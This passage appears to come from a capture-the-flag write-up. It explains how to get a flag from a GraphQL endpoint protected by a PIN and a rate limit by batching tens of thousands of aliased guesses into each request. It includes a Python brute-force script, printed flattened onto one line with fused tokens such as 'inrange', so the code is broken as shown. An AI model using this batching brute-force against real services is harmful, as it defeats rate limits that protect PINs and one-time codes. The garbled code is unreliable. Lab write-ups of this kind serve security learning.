So it generates a random integer named secret from 0 to 100000 and if we send the query in the given format with pin matching the secret it will give us the flag but the problem is there are 100000 possibilities and we can’t bruteforce also because we can send only 10 request per 60 seconds.
Vulnerability Identification
So we have to find a way in which we can send different pins multiple times in the 1 post request.
There is a technique named graphql-batching-attack in which we can send multiple query in 1 post request as given below in image.
for i inrange(4): query = '' print(f'trying from {i * 30000} to {(i + 1) * 30000 - 1}') for x inrange(i * 30000, (i + 1) * 30000): query += f'flag{x} : flag(pin: {x})\n' response = requests.post(url, headers=headers, data=f'{{{query}}}') if'corctf{'in response.text: flag = re.search(r'corctf\{.*?\}', response.text) if flag: print(f"Found flag on : {flag.group(0)}") break